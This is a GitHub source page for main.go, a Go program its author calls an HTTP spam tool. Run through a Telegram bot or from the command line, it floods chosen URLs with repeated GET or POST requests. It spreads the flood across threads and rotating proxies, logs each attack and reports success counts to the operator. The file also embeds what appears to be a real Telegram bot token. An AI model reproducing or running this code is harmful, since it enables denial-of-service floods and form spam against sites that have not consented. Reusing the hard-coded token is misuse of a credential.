-
Notifications
You must be signed in to change notification settings - Fork 5
/
main.go
executable file
·504 lines (435 loc) · 12.6 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
/**
* hope it helps u *
* By Nikita Vtorushin <n.vtorushin@inbox.ru> *
* https://t.me/nvtorushin *
* GoLang spam example OSINT *
**/
package main
import (
"bufio"
"encoding/json"
"flag"
"fmt"
tgbotapi "github.com/go-telegram-bot-api/telegram-bot-api"
"io/ioutil"
"main.go/api"
"main.go/database"
"main.go/handlers"
"math/rand"
"net/http"
"net/url"
"os"
"strconv"
"strings"
"sync"
"time"
)
var completeCount = 0
var errorCount = 0
var botToken = "1507944521:AAGO49vBJ9_TI4W3_MHpTRFdAV5Lvly9wtk" // replace u token bot
type any interface{}
func main() {
database.InitDB()
if botToken != "" {
go func() {
handlers.InitAPI()
}()
go func() {
if !database.IsAdmin(database.AdminUserID) {
database.AddAdmin(database.AdminUserID)
}
startBot(botToken)
}()
} else {
startWithoutBot()
}
select {}
}
func startBot(botToken string) {
telegramBot, err := tgbotapi.NewBotAPI(botToken)
if err != nil {
fmt.Println("Error initializing Telegram Bot:", err)
return
} else {
fmt.Println("initializing Telegram Bot complete")
}
u := tgbotapi.NewUpdate(0)
u.Timeout = 60
updates, err := telegramBot.GetUpdatesChan(u)
if err != nil {
fmt.Println("Error getting updates channel:", err)
return
} else {
fmt.Println("getting updates channel complete")
}
for update := range updates {
if update.Message != nil && update.Message.IsCommand() {
if database.IsAdmin(update.Message.Chat.ID) {
switch update.Message.Command() {
case "start":
fmt.Println("get command start", update.Message.Chat)
msg := tgbotapi.NewMessage(update.Message.Chat.ID, "Welcome! I'm your HTTP SPAM bot. Use /spam to start the attack. If you want auth in site use /auth command. You can provide arguments like /spam -url https://example.com -method GET -data '{\"key\":\"value\"}' -count 100")
telegramBot.Send(msg)
case "spam":
args := strings.Split(update.Message.Text, " ")
if len(args) < 2 {
msg := tgbotapi.NewMessage(update.Message.Chat.ID, "Invalid command. Usage: /spam -url https://example.com -method GET -data '{\"key\":\"value\"}' -count 100")
telegramBot.Send(msg)
continue
}
args = args[1:]
fmt.Println("get command start", args)
go startHTTPSPAM(telegramBot, update.Message.Chat.ID, args)
case "addAdmin":
args := strings.Split(update.Message.Text, " ")
if len(args) < 2 {
msg := tgbotapi.NewMessage(update.Message.Chat.ID, "Invalid command. Usage: /addAdmin %userID% (1)")
telegramBot.Send(msg)
continue
}
userID, _ := strconv.ParseInt(args[1], 10, 64)
database.AddAdmin(userID)
msg := tgbotapi.NewMessage(update.Message.Chat.ID, "Admin added with id: "+args[1])
telegramBot.Send(msg)
case "removeAdmin":
args := strings.Split(update.Message.Text, " ")
if len(args) < 2 {
msg := tgbotapi.NewMessage(update.Message.Chat.ID, "Invalid command. Usage: /removeAdmin %userID% (1)")
telegramBot.Send(msg)
continue
}
userID, _ := strconv.ParseInt(args[1], 10, 64)
database.DeleteAdmin(userID)
msg := tgbotapi.NewMessage(update.Message.Chat.ID, "Admin removed with id: "+args[1])
telegramBot.Send(msg)
case "auth":
api.ProcessAuthCommand(telegramBot, update.Message)
}
} else {
msg := tgbotapi.NewMessage(update.Message.Chat.ID, "You are not authorized to use this bot.")
telegramBot.Send(msg)
}
}
}
}
func startHTTPSPAM(bot *tgbotapi.BotAPI, chatID int64, args []string) {
sendMessageToTelegram(bot, chatID, "Starting the attack...")
go func() {
// parse args
parseAndRunAttack(bot, args, chatID)
sendMessageToTelegram(bot, chatID, fmt.Sprintf("Attack complete. Good: %d, Error: %d", completeCount, errorCount))
}()
}
func parseAndRunAttack(bot *tgbotapi.BotAPI, args []string, chatID int64) {
if len(args) < 1 {
sendMessageToTelegram(bot, chatID, "Invalid command. Usage: /spam -url https://example.com -method GET -data '{\"key\":\"value\"}' -count 100")
return
}
args = args[1:]
attackURL := args[0]
method := "GET"
data := ""
count := 100
threads := 1
proxy := ""
query := ""
if len(args) > 1 {
for i := 1; i < len(args); i += 1 {
switch args[i] {
case "-method":
method = args[i+1]
case "-data":
data = args[i+1]
case "-count":
count, _ = strconv.Atoi(args[i+1])
case "-threads":
threads, _ = strconv.Atoi(args[i+1])
case "-proxy":
proxy = args[i+1]
case "-query":
query = args[i+1]
}
}
}
proxies := readProxiesFromFile(proxy)
if proxies == nil {
proxies = make([]string, 0)
}
database.SaveAttackHistory(&chatID, strings.Join(args, " "), attackURL, true)
telegramRunAttacks(bot, attackURL, method, getData(method, data), getData(method, query), readProxiesFromFile(proxy), count, threads, chatID)
}
func telegramRunAttacks(bot *tgbotapi.BotAPI, attackUrl string, method string, data url.Values, queryData url.Values, proxies []string, count int, threads int, chatID int64) {
var wg sync.WaitGroup
wg.Add(threads)
for i := 1; i <= threads; i++ {
go runAttacksWithTelegram(bot, attackUrl, method, data, queryData, proxies, count, i, &wg, chatID)
}
wg.Wait()
}
func runAttacksWithTelegram(bot *tgbotapi.BotAPI, attackUrl string, method string, data url.Values, queryData url.Values, proxies []string, count int, threadIndex int, wg *sync.WaitGroup, chatID int64) {
defer wg.Done()
fmt.Println(count)
for i := 0; i < count; i++ {
if i%10 == 0 {
fmt.Println("Thread", threadIndex, "Good:", completeCount, "Bad:", errorCount)
sendMessageToTelegram(bot, chatID, fmt.Sprintf("Thread %d - Good: %d, Bad: %d", threadIndex, completeCount, errorCount))
}
startAttackWithTelegram(attackUrl, method, data, queryData, proxies, threadIndex)
}
sendMessageToTelegram(bot, chatID, fmt.Sprintf("Thread %d - Final - Good: %d, Bad: %d", threadIndex, completeCount, errorCount))
}
func startAttackWithTelegram(attackUrl string, method string, data url.Values, queryData url.Values, proxies []string, threadIndex int) {
client := &http.Client{}
if len(proxies) > 0 {
proxyIndex := (threadIndex - 1) % len(proxies)
proxy := proxies[proxyIndex]
if proxy != "" {
proxyUrl, err := url.Parse(proxy)
if err == nil {
client.Transport = &http.Transport{Proxy: http.ProxyURL(proxyUrl)}
} else {
fmt.Println("Error parsing proxy URL:", err)
return
}
}
}
var resp *http.Response
var err error
if method == "POST" || method == "post" {
if len(queryData) > 0 {
attackUrl += "?" + queryData.Encode()
}
resp, err = client.PostForm(attackUrl, data)
} else if method == "GET" || method == "get" {
if len(data) > 0 {
attackUrl += "?" + data.Encode()
}
resp, err = client.Get(attackUrl)
} else {
fmt.Println("Invalid method:", method)
return
}
if err != nil {
fmt.Println("Site not available:", attackUrl, "\nERROR:", err)
errorCount++
} else {
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
req := string(body)
_ = req
if err != nil || resp.StatusCode != 200 {
if err != nil {
log(err)
} else {
log(req)
}
errorCount++
} else {
completeCount++
}
}
}
func sendMessageToTelegram(bot *tgbotapi.BotAPI, chatID int64, message string) {
msg := tgbotapi.NewMessage(chatID, message)
bot.Send(msg)
}
func startWithoutBot() {
attackUrl := flag.String("url", "", "attackUrl spam attack")
method := flag.String("method", "POST", "method for attack (POST/GET)")
count := flag.Int("count", 10000, "count for attack")
data := flag.String("data", ``, "data for attack")
query := flag.String("query", ``, "query parameters for attack")
proxyFile := flag.String("proxy", "", "file containing proxies (one per line)")
threads := flag.Int("threads", 1, "number of threads for attack")
attackUrlPath := flag.String("urlPath", "", "path to a text document containing URLs for the spam attack")
flag.Parse()
database.SaveAttackHistory(nil, strings.Join(os.Args, " "), *attackUrl, true)
var requestData url.Values
var queryData url.Values
if *attackUrl != "" || *attackUrlPath != "" {
if *method == "POST" || *method == "post" {
if *data != "" {
requestData = getData(*method, *data)
}
if *query != "" {
queryData = getData("GET", *query)
}
} else if (*method == "GET" || *method == "get") && *query != "" {
requestData = getData(*method, *query)
}
var proxies []string
if *proxyFile != "" {
proxies = readProxiesFromFile(*proxyFile)
}
var urlAttack []string
if *attackUrlPath != "" {
source, err := readURLsFromFile(*attackUrlPath)
if err != nil {
fmt.Println("Error reading URLs from file:", err)
return
} else {
urlAttack = source
}
}
rand.Seed(time.Now().UnixNano())
totalRequests := *count
var wg sync.WaitGroup
if *attackUrl != "" {
wg.Add(*threads)
for i := 1; i <= *threads; i++ {
go runAttacks(*attackUrl, *method, requestData, queryData, proxies, totalRequests, i, &wg)
}
} else {
wg.Add(len(urlAttack) * *threads)
for _, attackUrl := range urlAttack {
if attackUrl != "" {
for i := 1; i <= *threads; i++ {
wg.Add(1)
go func(url string, index int) {
defer wg.Done()
runAttacks(url, *method, requestData, queryData, proxies, totalRequests, i, &wg)
}(attackUrl, i)
}
}
}
}
wg.Wait()
fmt.Println("Done.", "Good: ", completeCount, "Error: ", errorCount)
} else {
fmt.Println("Set variable -url or -urlPath")
}
}
func runAttacks(attackUrl string, method string, data url.Values, queryData url.Values, proxies []string, count int, threadIndex int, wg *sync.WaitGroup) {
defer wg.Done()
for i := 0; i < count; i++ {
if i%5 == 0 {
fmt.Println("[", attackUrl, "]", "Thread", threadIndex, "Good:", completeCount, "Bad:", errorCount)
}
startAttack(attackUrl, method, data, queryData, proxies, threadIndex)
}
}
func startAttack(attackUrl string, method string, data url.Values, queryData url.Values, proxies []string, threadIndex int) {
client := &http.Client{}
if len(proxies) > 0 {
proxyIndex := (threadIndex - 1) % len(proxies)
proxy := proxies[proxyIndex]
if proxy != "" {
proxyUrl, err := url.Parse(proxy)
if err == nil {
client.Transport = &http.Transport{Proxy: http.ProxyURL(proxyUrl)}
} else {
fmt.Println("Error parsing proxy URL:", err)
return
}
}
}
var resp *http.Response
var err error
if method == "POST" || method == "post" {
if len(queryData) > 0 {
attackUrl += "?" + queryData.Encode()
}
resp, err = client.PostForm(attackUrl, data)
} else if method == "GET" || method == "get" {
if len(data) > 0 {
attackUrl += "?" + data.Encode()
}
resp, err = client.Get(attackUrl)
} else {
fmt.Println("Invalid method:", method)
return
}
if err != nil {
fmt.Println("Site not available:", attackUrl, "\nERROR:", err)
errorCount++
} else {
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
req := string(body)
_ = req
if err != nil || resp.StatusCode != 200 {
if err != nil {
log(err)
} else {
log(req)
}
errorCount++
} else {
completeCount++
}
}
}
func log(data any) {
fmt.Println(data)
}
func getData(method string, data string) url.Values {
if data == "" {
return nil
}
if method == "POST" || method == "post" {
var body = []byte(data)
return getFormatPostData(body)
} else if method == "GET" || method == "get" {
return getFormatGetData(data)
} else {
return nil
}
}
func getFormatGetData(data string) url.Values {
parsedData, err := url.ParseQuery(data)
if err != nil {
fmt.Println("Error parsing query parameters:", err)
return nil
}
return parsedData
}
func getFormatPostData(body []byte) url.Values {
m := map[string]string{}
if err := json.Unmarshal(body, &m); err != nil {
panic(err)
}
_body := url.Values{}
for key, val := range m {
_body.Add(key, val)
}
return _body
}
func readProxiesFromFile(file string) []string {
var proxies []string
f, err := os.Open(file)
if err != nil {
fmt.Println("Error opening proxy file:", err)
return proxies
}
defer f.Close()
scanner := bufio.NewScanner(f)
for scanner.Scan() {
proxy := strings.TrimSpace(scanner.Text())
if proxy != "" {
proxies = append(proxies, proxy)
}
}
if err := scanner.Err(); err != nil {
fmt.Println("Error reading proxy file:", err)
}
return proxies
}
func readURLsFromFile(filePath string) ([]string, error) {
var urls []string
f, err := os.Open(filePath)
if err != nil {
return nil, err
}
defer f.Close()
scanner := bufio.NewScanner(f)
for scanner.Scan() {
url := strings.TrimSpace(scanner.Text())
if url != "" {
urls = append(urls, url)
}
}
if err := scanner.Err(); err != nil {
return nil, err
}
return urls, nil
}